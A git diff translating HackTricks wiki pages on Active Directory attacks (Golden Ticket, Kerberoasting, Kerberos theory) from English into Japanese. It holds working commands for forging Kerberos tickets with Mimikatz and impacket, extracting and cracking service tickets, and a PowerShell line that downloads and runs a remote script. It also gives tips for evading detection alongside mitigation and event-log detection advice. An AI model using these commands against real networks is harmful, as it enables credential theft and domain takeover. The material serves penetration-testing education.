-## Golden ticket +## ゴールデンチケット -A valid **TGT as any user** can be created **using the NTLM hash of the krbtgt AD account**. The advantage of forging a TGT instead of TGS is being **able to access any service** (or machine) in the domain and the impersonated user.\ -Moreover the **credentials** of **krbtgt** are **never** **changed** automatically. +有効な**TGTは任意のユーザー**として作成することができます。これには、krbtgt ADアカウントのNTLMハッシュを使用します。TGSではなくTGTを偽造する利点は、ドメイン内の**任意のサービス**(またはマシン)となり、なりすまされたユーザーにアクセスできることです。\ +さらに、**krbtgt**の**資格情報**は自動的には**変更されません**。 -The **krbtgt** account **NTLM hash** can be **obtained** from the **lsass process** or from the **NTDS.dit file** of any DC in the domain. It is also possible to get that NTLM through a **DCsync attack**, which can be performed either with the [lsadump::dcsync](https://github.com/gentilkiwi/mimikatz/wiki/module-\~-lsadump) module of Mimikatz or the impacket example [secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py). Usually, **domain admin privileges or similar are required**, no matter what technique is used. +**krbtgt**アカウントの**NTLMハッシュ**は、ドメイン内の任意のDCの**lsassプロセス**または**NTDS.ditファイル**から取得できます。また、[Mimikatzのlsadump::dcsync](https://github.com/gentilkiwi/mimikatz/wiki/module-\~-lsadump)モジュールやimpacketの例である[secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py)を使用したDCsync攻撃でも、そのNTLMを取得することができます。どのテクニックを使用しても、通常は**ドメイン管理者特権または同等の特権が必要**です。 -It also must be taken into account that it is possible AND **PREFERABLE** (opsec) to **forge tickets using the AES Kerberos keys (AES128 and AES256)**. +また、AES Kerberosキー(AES128およびAES256)を使用してチケットを偽造することが可能であり、**好ましい**(opsec)です。 -{% code title="From Linux" %} +{% code title="Linuxから" %} ```bash python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass ``` -{% endcode %} - -{% code title="From Windows" %} +{% code title="Windowsから" %} ```bash #mimikatz kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt @@ -45,50 +43,48 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1 ``` {% endcode %} -**Once** you have the **golden Ticket injected**, you can access the shared files **(C$)**, and execute services and WMI, so you could use **psexec** or **wmiexec** to obtain a shell (looks like yo can not get a shell via winrm). +**ゴールデンチケットを注入した後**、共有ファイル(C$)にアクセスしたり、サービスやWMIを実行したりすることができます。そのため、**psexec**または**wmiexec**を使用してシェルを取得することができます(winrmを介してシェルを取得することはできないようです)。 -### Bypassing common detections +### 一般的な検出の回避 -The most frequent ways to detect a golden ticket are by **inspecting Kerberos traffic** on the wire. By default, Mimikatz **signs the TGT for 10 years**, which will stand out as anomalous in subsequent TGS requests made with it. +ゴールデンチケットを検出する最も一般的な方法は、ワイヤ上の**Kerberosトラフィックを検査する**ことです。デフォルトでは、MimikatzはTGTを10年間署名します。そのため、それを使用して行われる後続のTGSリクエストでは異常として目立つでしょう。 `Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM` -Use the `/startoffset`, `/endin` and `/renewmax` parameters to control the start offset, duration and the maximum renewals (all in minutes). - +`/startoffset`、`/endin`、`/renewmax`パラメータを使用して、開始オフセット、期間、および最大更新回数を制御します(すべて分単位)。 ``` Get-DomainPolicy | select -expand KerberosPolicy ``` +残念ながら、TGTの寿命は4769のログに記録されていないため、Windowsイベントログにはこの情報はありません。ただし、**事前の4768なしに4769を見る**ことができることを関連付けることができます。TGTなしでTGSを要求することはできず、TGTの発行記録がない場合、オフラインで偽造されたことを推測することができます。 -Unfortunately, the TGT's lifetime is not logged in 4769's, so you won't find this information in the Windows event logs. However, what you can correlate is **seeing 4769's **_**without**_** a prior 4768**. It's **not possible to request a TGS without a TGT**, and if there is no record of a TGT being issued, we can infer that it was forged offline. - -In order to **bypass this detection** check the diamond tickets: +この検出を**バイパスする**ために、ダイヤモンドチケットをチェックしてください: {% content-ref url="diamond-ticket.md" %} [diamond-ticket.md](diamond-ticket.md) {% endcontent-ref %} -### Mitigation +### 緩和策 -* 4624: Account Logon -* 4672: Admin Logon +* 4624:アカウントログオン +* 4672:管理者ログオン * `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property` -Other little tricks defenders can do is **alert on 4769's for sensitive users** such as the default domain administrator account. +防御側が行える他の小技は、デフォルトのドメイン管理者アカウントなどの**敏感なユーザーの4769にアラートを設定する**ことです。 -[**More information about Golden Ticket in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets) +[**ired.teamのGolden Ticketに関する詳細情報**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/active-directory-methodology/kerberoast.md b/windows-hardening/active-directory-methodology/kerberoast.md index 9a08caa34..e4152eeb9 100644 --- a/windows-hardening/active-directory-methodology/kerberoast.md +++ b/windows-hardening/active-directory-methodology/kerberoast.md @@ -1,10 +1,10 @@ -# Kerberoast +# Kerberoast(Kerberoast) ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,55 +12,52 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Kerberoast +## Kerberoast(Kerberoast) -The goal of **Kerberoasting** is to harvest **TGS tickets for services that run on behalf of user accounts** in the AD, not computer accounts. Thus, **part** of these TGS **tickets are** **encrypted** with **keys** derived from user passwords. As a consequence, their credentials could be **cracked offline**.\ -You can know that a **user account** is being used as a **service** because the property **"ServicePrincipalName"** is **not null**. +**Kerberoasting(Kerberoast)**の目的は、ADでユーザーアカウントの代わりに実行されるサービスのために実行される**TGSチケットを収集する**ことです。したがって、これらのTGSチケットの一部は、ユーザーパスワードから派生したキーで**暗号化**されています。その結果、その資格情報はオフラインで**クラック**される可能性があります。\ +ユーザーアカウントがサービスとして使用されていることを知ることができるのは、プロパティ**"ServicePrincipalName"**が**nullでない**場合です。 -Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required. +したがって、Kerberoastingを実行するには、特権は必要ありませんので、TGSを要求できるドメインアカウントのみが必要です。 -**You need valid credentials inside the domain.** +**有効なドメイン内の資格情報が必要です。** -### **Attack** +### **攻撃** {% hint style="warning" %} -**Kerberoasting tools** typically request **`RC4 encryption`** when performing the attack and initiating TGS-REQ requests. This is because **RC4 is** [**weaker**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795) and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256.\ -RC4 (type 23) hashes begin with **`$krb5tgs$23$*`** while AES-256(type 18) start with **`$krb5tgs$18$*`**`.` +**Kerberoastingツール**は、攻撃を実行し、TGS-REQリクエストを開始する際に、通常**`RC4暗号化`**を要求します。これは、**RC4が**[**弱い**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795)ためであり、Hashcatなどのツールを使用してオフラインで他の暗号化アルゴリズム(AES-128やAES-256など)よりも簡単にクラックできます。\ +RC4(タイプ23)ハッシュは**`$krb5tgs$23$*`**で始まり、AES-256(タイプ18)は**`$krb5tgs$18$*`**で始まります。` {% endhint %} #### **Linux** - ```bash msf> use auxiliary/gather/get_user_spns GetUserSPNs.py -request -dc-ip 192.168.2.160 / -outputfile hashes.kerberoast # Password will be prompted GetUserSPNs.py -request -dc-ip 192.168.2.160 -hashes : / -outputfile hashes.kerberoast ``` - #### Windows -* **Enumerate Kerberoastable users** - +* **Kerberoast可能なユーザーの列挙** ```powershell # Get Kerberoastable users setspn.exe -Q */* #This is a built-in binary. Focus on user accounts Get-NetUser -SPN | select serviceprincipalname #Powerview .\Rubeus.exe kerberoast /stats ``` +* **テクニック1: TGSを要求し、メモリからダンプする** -* **Technique 1: Ask for TGS and dump it from memory** - +このテクニックでは、攻撃者はKerberosチケットグラントサービス(TGS)を要求し、メモリからダンプします。 ```powershell #Get TGS in memory from a single user -Add-Type -AssemblyName System.IdentityModel -New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local +Add-Type -AssemblyName System.IdentityModel +New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local #Get TGSs for ALL kerberoastable accounts (PCs included, not really smart) setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } @@ -76,9 +73,7 @@ python2.7 kirbi2john.py sqldev.kirbi # Transform john to hashcat sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat ``` - -* **Technique 2: Automatic tools** - +* **テクニック2: 自動ツール** ```bash # Powerview: Get Kerberoast hash of a user Request-SPNTicket -SPN "" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local @@ -94,11 +89,8 @@ Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerbe iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast ``` - - - {% hint style="warning" %} -When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated. +TGSが要求されると、Windowsイベント`4769 - Kerberosサービスチケットが要求されました`が生成されます。 {% endhint %} @@ -106,70 +98,64 @@ When a TGS is requested, Windows event `4769 - A Kerberos service ticket was req ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -### Cracking - +### クラッキング ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` +### 持続性 -### Persistence - -If you have **enough permissions** over a user you can **make it kerberoastable**: - +ユーザーに対して**十分な権限**がある場合、それを**kerberoastable**にすることができます。 ```bash - Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose +Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose ``` +以下は、**kerberoast** 攻撃に役立つ**ツール**のリンクです: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) -You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) +もしLinuxで次の**エラー**が表示された場合: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** それはローカルの時刻のずれが原因です。ホストとドメインコントローラーを同期する必要があります。いくつかのオプションがあります: +- `ntpdate <ドメインコントローラーのIP>` - Ubuntu 16.04以降では非推奨 +- `rdate -n <ドメインコントローラーのIP>` -If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options: -- `ntpdate ` - Deprecated as of Ubuntu 16.04 -- `rdate -n ` +### 緩和策 -### Mitigation - -Kerberoast is very stealthy if exploitable - -* Security Event ID 4769 – A Kerberos ticket was requested -* Since 4769 is very frequent, lets filter the results: - * Service name should not be krbtgt - * Service name does not end with $ (to filter out machine accounts used for services) - * Account name should not be machine@domain (to filter out requests from machines) - * Failure code is '0x0' (to filter out failures, 0x0 is success) - * Most importantly, ticket encryption type is 0x17 -* Mitigation: - * Service Account Passwords should be hard to guess (greater than 25 characters) - * Use Managed Service Accounts (Automatic change of password periodically and delegated SPN Management) +Kerberoast は、攻撃可能な場合に非常に潜在的です。 +* セキュリティイベントID 4769 – Kerberosチケットが要求されました +* 4769は非常に頻繁なので、結果をフィルタリングしましょう: +* サービス名はkrbtgtではないこと +* サービス名は$で終わらないこと(サービス用のマシンアカウントをフィルタリングするため) +* アカウント名はmachine@domainではないこと(マシンからの要求をフィルタリングするため) +* 失敗コードは '0x0' であること(失敗をフィルタリングするため、0x0は成功) +* 最も重要なのは、チケットの暗号化タイプが0x17であることです +* 緩和策: +* サービスアカウントのパスワードは推測しにくいものにする(25文字以上) +* 管理されたサービスアカウントを使用する(定期的なパスワードの自動変更とSPNの委任管理) ```bash Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message ``` - -**More information about Kerberoasting in ired.team in** [**here** ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)**and** [**here**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)**.** +**[ここ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)**と**[ここ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)**で、ired.teamのKerberoastingに関する詳細情報を見ることができます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築および自動化**できます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/windows-hardening/active-directory-methodology/kerberos-authentication.md b/windows-hardening/active-directory-methodology/kerberos-authentication.md index 8c188e7a2..0e3d2a706 100644 --- a/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -1,205 +1,182 @@ -# Kerberos Authentication +# Kerberos認証
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-**This information was extracted from the post:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**この情報は、次の投稿から抽出されました:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) -## Kerberos (I): How does Kerberos work? – Theory +## Kerberos(I):Kerberosはどのように機能するのか? - 理論 20 - MAR - 2019 - ELOY PÉREZ -The objective of this series of posts is to clarify how Kerberos works, more than just introduce the attacks. This due to the fact that in many occasions it is not clear why some techniques works or not. Having this knowledge allows to know when to use any of those attacks in a pentest. +この一連の投稿の目的は、攻撃を紹介するだけでなく、Kerberosがどのように機能するのかを明確にすることです。これは、多くの場合、いくつかのテクニックがなぜ機能するのか、しないのかが明確ではないためです。この知識を持つことで、ペンテストでこれらの攻撃のいずれかを使用するタイミングを知ることができます。 -Therefore, after a long journey of diving into the documentation and several posts about the topic, we’ve tried to write in this post all the important details which an auditor should know in order to understand how take advantage of Kerberos protocol. +したがって、ドキュメントにダイビングし、トピックに関するいくつかの投稿を読んだ後、Kerberosプロトコルを利用するための重要な詳細をこの投稿にまとめました。 -In this first post only basic functionality will be discussed. In later posts it will see how perform the attacks and how the more complex aspects works, as delegation. +この最初の投稿では、基本的な機能のみが議論されます。後の投稿では、攻撃の実行方法やより複雑な側面(委任など)の動作方法について説明します。 -If you have any doubt about the topic which it is not well explained, do not be afraid on leave a comment or question about it. Now, onto the topic. +説明が不十分なトピックについて疑問がある場合は、コメントや質問を残すことを恐れないでください。それでは、トピックに移りましょう。 -### What is Kerberos? +### Kerberosとは? -Firstly, Kerberos is an authentication protocol, not authorization. In other words, it allows to identify each user, who provides a secret password, however, it does not validates to which resources or services can this user access. +まず、Kerberosは認証プロトコルであり、認可ではありません。つまり、ユーザーを識別するために秘密のパスワードを提供することができますが、このユーザーがどのリソースやサービスにアクセスできるかを検証しません。 -Kerberos is used in Active Directory. In this platform, Kerberos provides information about the privileges of each user, but it is the responsibility of each service to determine if the user has access to its resources. +KerberosはActive Directoryで使用されます。このプラットフォームでは、Kerberosは各ユーザーの特権に関する情報を提供しますが、各サービスはユーザーがリソースにアクセスできるかどうかを判断する責任があります。 -### Kerberos items +### Kerberosの要素 -In this section several components of Kerberos environment will be studied. +このセクションでは、Kerberos環境のいくつかのコンポーネントについて説明します。 -**Transport layer** +**トランスポート層** -Kerberos uses either UDP or TCP as transport protocol, which sends data in cleartext. Due to this Kerberos is responsible for providing encryption. +Kerberosは、データをクリアテキストで送信するUDPまたはTCPをトランスポートプロトコルとして使用します。そのため、Kerberosは暗号化を提供します。 -Ports used by Kerberos are UDP/88 and TCP/88, which should be listen in KDC (explained in next section). +Kerberosが使用するポートはUDP/88およびTCP/88であり、これらはKDC(次のセクションで説明します)でリッスンする必要があります。 -**Agents** +**エージェント** -Several agents work together to provide authentication in Kerberos. These are the following: +Kerberosでは、認証を提供するためにいくつかのエージェントが連携して動作します。これらは次のとおりです。 -* **Client or user** who wants to access to the service. -* **AP** (Application Server) which offers the service required by the user. -* **KDC** (Key Distribution Center), the main service of Kerberos, responsible of issuing the tickets, installed on the DC (Domain Controller). It is supported by the **AS** (Authentication Service), which issues the TGTs. +* サービスにアクセスしたい**クライアントまたはユーザー**。 +* ユーザーが必要とするサービスを提供する**AP**(アプリケーションサーバー)。 +* Kerberosの主要なサービスである**KDC**(キー配布センター)。チケットを発行する責任があり、DC(ドメインコントローラー)にインストールされています。**AS**(認証サービス)によってサポートされており、TGTを発行します。 -**Encryption keys** +**暗号化キー** -There are several structures handled by Kerberos, as tickets. Many of those structures are encrypted or signed in order to prevent being tampered by third parties. These keys are the following: +Kerberosでは、チケットなどのいくつかの構造が処理されます。これらの構造の多くは、第三者による改ざんを防ぐために暗号化または署名されています。これらのキーは次のとおりです。 -* **KDC or krbtgt key** which is derivate from krbtgt account NTLM hash. -* **User key** which is derivate from user NTLM hash. -* **Service key** which is derivate from the NTLM hash of service owner, which can be a user or computer account. -* **Session key** which is negotiated between the user and KDC. -* **Service session key** to be use between user and service. +* **KDCまたはkrbtgtキー**は、krbtgtアカウントのNTLMハッシュから派生します。 +* **ユーザーキー**は、ユーザーのNTLMハッシュから派生します。 +* **サービスキー**は、サービス所有者のNTLMハッシュから派生します。サービス所有者はユーザーアカウントまたはコンピューターアカウントである場合があります。 +* **セッションキー**は、ユーザーとKDCの間で交渉されます。 +* **サービスセッションキー**は、ユーザーとサービスの間で使用されます。 -**Tickets** +**チケット** -The main structures handled by Kerberos are the tickets. These tickets are delivered to the users in order to be used by them to perform several actions in the Kerberos realm. There are 2 types: +Kerberosが処理する主要な構造はチケットです。これらのチケットは、ユーザーに配布され、Kerberosレルムで複数のアクションを実行するために使用されます。2つのタイプがあります。 -* The **TGS** (Ticket Granting Service) is the ticket which user can use to authenticate against a service. It is encrypted with the service key. -* The **TGT** (Ticket Granting Ticket) is the ticket presented to the KDC to request for TGSs. It is encrypted with the KDC key. +* **TGS**(チケットグラントサービス)は、ユーザーがサービスに対して認証するために使用できるチケットです。サービスキーで暗号化されています。 +* **TGT**(チケットグラントチケット)は、TGSを要求するためにKDCに提示されるチケットです。KDCキーで暗号化されています。 **PAC** -The **PAC** (Privilege Attribute Certificate) is a structure included in almost every ticket. This structure 